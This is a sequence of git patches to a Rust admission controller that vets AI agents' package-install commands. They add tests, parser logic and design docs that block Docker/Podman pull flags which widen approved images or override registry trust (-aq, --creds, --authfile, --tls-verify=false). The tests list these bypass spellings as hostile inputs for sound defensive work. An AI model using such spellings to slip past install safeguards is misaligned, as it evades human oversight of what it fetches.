https://doi.org/10.6028/NIST.SP.800-218 Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html -Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository. Podman documents the equivalent option as pulling all tagged images in the repository. Those semantics are the reason this option is treated as artifact-set authority rather than harmless client presentation detail. +Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository and its CLI reference documents explicit assignment syntax for Boolean options. Podman documents the equivalent all-tags option as pulling all tagged images and documents explicit true/false assignment semantics for Boolean pull options such as TLS verification. Those semantics are why assigned true all-tags forms are treated as artifact-set authority rather than harmless presentation detail. From a1105c5de234e8750ce3c9b4036de1669a67b818 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:03:29 +0900 Subject: [PATCH 161/702] test(security): reject bundled OCI all-tags shorthands --- crates/agent-artifact-admission/tests/oci_all_tags_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index adaf99e1..82fb8dec 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -18,6 +18,8 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { "--all-tags=TRUE", "-a=true", "-a=1", + "-aq", + "-qa", ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From f35db9e712b243bd6e8cff9125aaa968b9d12362 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:04:56 +0900 Subject: [PATCH 162/702] fix(security): parse bundled OCI all-tags shorthand --- .../src/artifact_variant.rs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index f4033457..b52702e6 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -18,6 +18,7 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - arguments.iter().any(|argument| { argument == "--all-tags" || argument == "-a" + || requests_all_tags_short_bundle(argument) || argument .strip_prefix("--all-tags=") .is_some_and(is_true_boolean) @@ -34,6 +35,21 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - }) } +/// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as +/// Boolean pull shorthands. Their pflag-style parsers permit Boolean shorthand +/// flags to be bundled, so `-aq` and `-qa` carry the same repository-expansion +/// authority as a bare `-a` and must fail closed. +fn requests_all_tags_short_bundle(argument: &str) -> bool { + let Some(bundle) = argument.strip_prefix('-') else { + return false; + }; + if bundle.starts_with('-') || bundle.contains('=') || bundle.chars().count() < 2 { + return false; + } + + bundle.contains('a') && bundle.chars().all(|flag| matches!(flag, 'a' | 'q')) +} + fn is_true_boolean(value: &str) -> bool { matches!( value.to_ascii_lowercase().as_str(), From 897a790baf89347778a27dbb1356aaf2d002e032 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:00 +0900 Subject: [PATCH 163/702] test(security): preserve quiet-only OCI pulls --- .../tests/oci_all_tags_contract.rs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 82fb8dec..f9c59d25 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -60,6 +60,24 @@ fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { } } +#[test] +fn quiet_shorthand_without_all_tags_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for quiet_flag in ["-q", "-qq"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, quiet_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {quiet_flag} changes presentation only and must not be confused with repository-wide expansion" + ); + } + } +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From 5b7fd581aa53bcf4cea48f13d088fb608a2b442f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:24 +0900 Subject: [PATCH 164/702] docs(security): trace bundled OCI shorthand authority --- docs/doctoring/oci-repository-pull-cardinality.md | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index fa55259a..327df741 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -6,11 +6,15 @@ Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, inc A follow-up hostile case found the first repair was syntactically incomplete. Boolean CLI options can also be supplied as assignments, including `--all-tags=true` and short-form assignments such as `-a=true`. The exact-token predicate rejected bare `-a` / `--all-tags` but did not classify assigned true forms, so the same artifact-set expansion authority could escape the admission boundary while the reviewed digest operand still matched policy. +A second follow-up found another parser-level spelling. Docker currently defines both `all-tags` (`-a`) and `quiet` (`-q`) as Boolean pull flags, and Podman documents the same two shorthands. The pflag command-line grammar used by Cobra-style Go CLIs permits Boolean shorthand flags to be combined in a single token. Therefore `-aq` and `-qa` retain `-a`'s repository-expansion authority even though neither token equals the previously rejected bare or assignment forms. Admission must interpret that semantic shorthand bundle rather than treating structured argv as an opaque string list. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, bare `-a` / `--all-tags` and assigned true spellings are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. +For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles composed from the documented pull shorthands that contain `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes `a` and `q`: `-aq`/`-qa` are denied while `-q`/`-qq` remain presentation-only and admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. + +The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. @@ -21,6 +25,9 @@ The decision is fail-closed until Wardnet has a versioned policy aggregate capab - Follow-up RED `883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8`: the hostile contract adds assigned true forms that the exact-token predicate did not reject. - Causal GREEN `e9e07e696c013dab88df6a5a6dc1be8306b9b688`: the predicate recognizes true Boolean assignments without treating explicit false assignments as repository expansion. - Coverage refinement `2207a6f79522dc8b6cb95e817be648bb6ef9a7f3`: exercises Docker/Podman long/short assigned true spellings and the explicit-false non-regression boundary. +- Bundled-shorthand RED `a1105c5de234e8750ce3c9b4036de1669a67b818`: hostile Docker/Podman `-aq` and `-qa` cases expose that exact-token/assignment matching still permits the `all-tags` capability when combined with the Boolean `quiet` shorthand. +- Causal GREEN `f35db9e712b243bd6e8cff9125aaa968b9d12362`: the artifact-variant boundary recognizes documented Boolean `a`/`q` shorthand bundles containing `a` without broadening Wardnet into an OCI CLI implementation. +- Non-regression coverage `897a790baf89347778a27dbb1356aaf2d002e032`: proves quiet-only `-q`/`-qq` remains allowed for an otherwise exact approved digest. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -37,4 +44,6 @@ National Institute of Standards and Technology. (2022). *Secure Software Develop Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html -Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository and its CLI reference documents explicit assignment syntax for Boolean options. Podman documents the equivalent all-tags option as pulling all tagged images and documents explicit true/false assignment semantics for Boolean pull options such as TLS verification. Those semantics are why assigned true all-tags forms are treated as artifact-set authority rather than harmless presentation detail. +spf13 contributors. (2026). *pflag: Command-line flag syntax*. GitHub. https://github.com/spf13/pflag + +Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined and that single-dash tokens may represent a series of shorthand letters. Those semantics are why bundled all-tags spellings are treated as artifact-set authority rather than harmless presentation detail. From f75817e141e15dad3dc57e5e21e4e2511d7fafd7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:06:40 +0900 Subject: [PATCH 165/702] docs(changelog): record OCI shorthand hardening --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e93cf264..ae28a21f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. -- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags` fail closed as `artifact_not_approved` because the clients define those switches as repository-wide mutable tag expansion rather than one pinned digest request. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand forms such as `-aq` / `-qa` fail closed as `artifact_not_approved` because they request repository-wide mutable tag expansion rather than one pinned digest. Quiet-only shorthand remains admissible. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. @@ -15,4 +15,4 @@ ### Operations - Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From dd6b9309034a3f14f534d2eb0f81a9a49b32bfdd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:09:48 +0900 Subject: [PATCH 166/702] test(security): cover assigned OCI shorthand bundles --- .../agent-artifact-admission/tests/oci_all_tags_contract.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index f9c59d25..a34c3047 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -20,6 +20,8 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { "-a=1", "-aq", "-qa", + "-aq=false", + "-aq=0", ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); @@ -45,7 +47,7 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { #[test] fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags=false", "-a=0"] { + for all_tags_flag in ["--all-tags=false", "-a=0", "-qa=false", "-qa=0"] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From 0f6a02a0b2dcdddd96e35f137923eefa27f8c8f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:10:09 +0900 Subject: [PATCH 167/702] fix(security): honor assigned OCI shorthand semantics --- .../src/artifact_variant.rs | 29 +++++++++++++++---- 1 file changed, 24 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index b52702e6..f261c37d 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -36,18 +36,37 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - } /// Docker and Podman expose `-a` (`--all-tags`) and `-q` (`--quiet`) as -/// Boolean pull shorthands. Their pflag-style parsers permit Boolean shorthand -/// flags to be bundled, so `-aq` and `-qa` carry the same repository-expansion -/// authority as a bare `-a` and must fail closed. +/// Boolean pull shorthands. Their pflag-style parsers permit shorthand bundles; +/// every non-final Boolean shorthand is enabled while an attached assignment +/// belongs to the final shorthand. Thus `-aq=false` still enables `-a`, whereas +/// `-qa=false` leaves `-a` disabled. fn requests_all_tags_short_bundle(argument: &str) -> bool { let Some(bundle) = argument.strip_prefix('-') else { return false; }; - if bundle.starts_with('-') || bundle.contains('=') || bundle.chars().count() < 2 { + if bundle.starts_with('-') { return false; } - bundle.contains('a') && bundle.chars().all(|flag| matches!(flag, 'a' | 'q')) + let (shorthands, assigned_value) = match bundle.split_once('=') { + Some(parts) => parts, + None => (bundle, ""), + }; + if shorthands.chars().count() < 2 + || !shorthands.chars().all(|flag| matches!(flag, 'a' | 'q')) + { + return false; + } + + let mut flags = shorthands.chars(); + let Some(last_flag) = flags.next_back() else { + return false; + }; + if flags.any(|flag| flag == 'a') { + return true; + } + + last_flag == 'a' && (assigned_value.is_empty() || is_true_boolean(assigned_value)) } fn is_true_boolean(value: &str) -> bool { From 578e4930134d4479c8a2f2f79a0d70da3e28f92c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:10:42 +0900 Subject: [PATCH 168/702] docs(security): trace assigned OCI shorthand semantics --- docs/doctoring/oci-repository-pull-cardinality.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index 327df741..6092f976 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -8,13 +8,15 @@ A follow-up hostile case found the first repair was syntactically incomplete. Bo A second follow-up found another parser-level spelling. Docker currently defines both `all-tags` (`-a`) and `quiet` (`-q`) as Boolean pull flags, and Podman documents the same two shorthands. The pflag command-line grammar used by Cobra-style Go CLIs permits Boolean shorthand flags to be combined in a single token. Therefore `-aq` and `-qa` retain `-a`'s repository-expansion authority even though neither token equals the previously rejected bare or assignment forms. Admission must interpret that semantic shorthand bundle rather than treating structured argv as an opaque string list. +A third hostile case exercised an assignment on the final shorthand in a bundle. In pflag grammar, every non-final Boolean shorthand is enabled and an attached value belongs to the final shorthand. Consequently `-aq=false` still enables `-a` before assigning `false` to `-q`, while `-qa=false` assigns `false` to the final `-a` and leaves repository expansion disabled. A security predicate that rejects every assigned bundle as malformed would miss the first case; one that rejects every bundle containing `a` would create a false positive for the second. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles composed from the documented pull shorthands that contain `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes `a` and `q`: `-aq`/`-qa` are denied while `-q`/`-qq` remain presentation-only and admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. +For Docker and Podman `pull`, bare `-a` / `--all-tags`, assigned true spellings, and Boolean shorthand bundles whose effective semantics enable `a` are rejected as `artifact_not_approved`. The current bounded parser recognizes the documented pull shorthands `a` and `q` and applies pflag's final-shorthand assignment rule: `-aq`, `-qa`, `-aq=false`, and `-aq=0` are denied; `-q`, `-qq`, `-qa=false`, and `-qa=0` remain admissible. This keeps the repair causal rather than attempting to reimplement the complete provider CLI grammar. -The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. +The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible only when they actually leave `all-tags` disabled. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. @@ -28,6 +30,8 @@ The decision is fail-closed until Wardnet has a versioned policy aggregate capab - Bundled-shorthand RED `a1105c5de234e8750ce3c9b4036de1669a67b818`: hostile Docker/Podman `-aq` and `-qa` cases expose that exact-token/assignment matching still permits the `all-tags` capability when combined with the Boolean `quiet` shorthand. - Causal GREEN `f35db9e712b243bd6e8cff9125aaa968b9d12362`: the artifact-variant boundary recognizes documented Boolean `a`/`q` shorthand bundles containing `a` without broadening Wardnet into an OCI CLI implementation. - Non-regression coverage `897a790baf89347778a27dbb1356aaf2d002e032`: proves quiet-only `-q`/`-qq` remains allowed for an otherwise exact approved digest. +- Assigned-bundle RED `dd6b9309034a3f14f534d2eb0f81a9a49b32bfdd`: proves `-aq=false` / `-aq=0` still enable the preceding all-tags shorthand while `-qa=false` / `-qa=0` must remain admissible because their final all-tags shorthand is explicitly false. +- Causal GREEN `0f6a02a0b2dcdddd96e35f137923eefa27f8c8f2`: the bounded parser applies the final-shorthand assignment rule and blocks only bundles whose effective semantics enable `a`. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -46,4 +50,4 @@ Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.p spf13 contributors. (2026). *pflag: Command-line flag syntax*. GitHub. https://github.com/spf13/pflag -Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined and that single-dash tokens may represent a series of shorthand letters. Those semantics are why bundled all-tags spellings are treated as artifact-set authority rather than harmless presentation detail. +Primary command/parser references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` and `-q, --quiet` as Boolean pull options, with `all-tags` expanding the request to all tagged images. Podman documents the equivalent `-a` and `-q` pull options. pflag documents that Boolean shorthand flags can be combined, that all but the last shorthand must be Boolean, and that the final shorthand may take an attached value. Those semantics are why Wardnet evaluates the effective bundled flag state rather than classifying tokens by spelling alone. From 73098781acf2214df4b2fb54742152cf3d1a02a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:12:24 +0900 Subject: [PATCH 169/702] docs(changelog): record assigned OCI shorthand semantics --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ae28a21f..2a2b9913 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,7 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. -- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand forms such as `-aq` / `-qa` fail closed as `artifact_not_approved` because they request repository-wide mutable tag expansion rather than one pinned digest. Quiet-only shorthand remains admissible. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From 400c53265f21d684ab06232536b50341b5d524c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:08 +0900 Subject: [PATCH 170/702] test(admission): reject caller-selected OCI registry credentials --- .../tests/oci_transport_trust_contract.rs | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index ab13af33..6408b868 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -51,6 +51,45 @@ fn podman_cannot_select_an_unreviewed_registry_certificate_directory() { ); } +#[test] +fn podman_cannot_select_an_unreviewed_registry_auth_file() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert( + 2, + "--authfile=/tmp/agent-controlled-registry-auth.json".to_string(), + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected registry authentication files must not become admission authority" + ); +} + +#[test] +fn podman_cannot_supply_registry_credentials_from_untrusted_argv() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--creds=agent-user:synthetic-secret".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "untrusted argv must not choose the registry principal used to retrieve an approved artifact" + ); +} + #[test] fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { let (policy, mut intent) = approved_podman_pull(); From 3eade5d41c50d1ad4e48118014c50acf5d8f3793 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:21 +0900 Subject: [PATCH 171/702] fix(admission): deny OCI registry credential overrides --- crates/agent-artifact-admission/src/oci_transport.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs index dc278280..faa0fb37 100644 --- a/crates/agent-artifact-admission/src/oci_transport.rs +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -1,7 +1,7 @@ use crate::InstallIntent; /// Return whether a Podman pull asks the caller to replace or disable the -/// registry TLS trust represented by the reviewed artifact policy. +/// registry transport or authentication trust represented by reviewed policy. pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -18,6 +18,10 @@ pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> arguments.iter().skip(1).any(|argument| { argument == "--cert-dir" || argument.starts_with("--cert-dir=") + || argument == "--authfile" + || argument.starts_with("--authfile=") + || argument == "--creds" + || argument.starts_with("--creds=") || argument .strip_prefix("--tls-verify=") .is_some_and(is_false_boolean) From bd9d2104d898f567895cfb67f7abdc087c6e259b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 18:37:43 +0900 Subject: [PATCH 172/702] docs(security): trace OCI registry authentication authority --- docs/doctoring/oci-registry-tls-trust.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md index 05ec944a..3f72ad8e 100644 --- a/docs/doctoring/oci-registry-tls-trust.md +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -1,27 +1,28 @@ -# OCI registry TLS trust authority +# OCI registry transport and authentication trust authority -Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening or certificate-directory replacement. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening, certificate replacement, or registry-principal overrides. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. ## Problem -An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport options that can change how that registry identity is authenticated. Current Podman documentation states that `--tls-verify=false` disables certificate verification when contacting registries and that `--cert-dir=path` selects certificates used to connect to the registry. +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport and authentication options that can change how that registry is reached and which principal is used. Current Podman documentation states that `--tls-verify=false` disables certificate verification, `--cert-dir=path` selects certificates used to connect to the registry, `--authfile=path` selects registry authentication state, and `--creds=username[:password]` supplies the registry principal directly. -Before this repair, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST` or `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken or 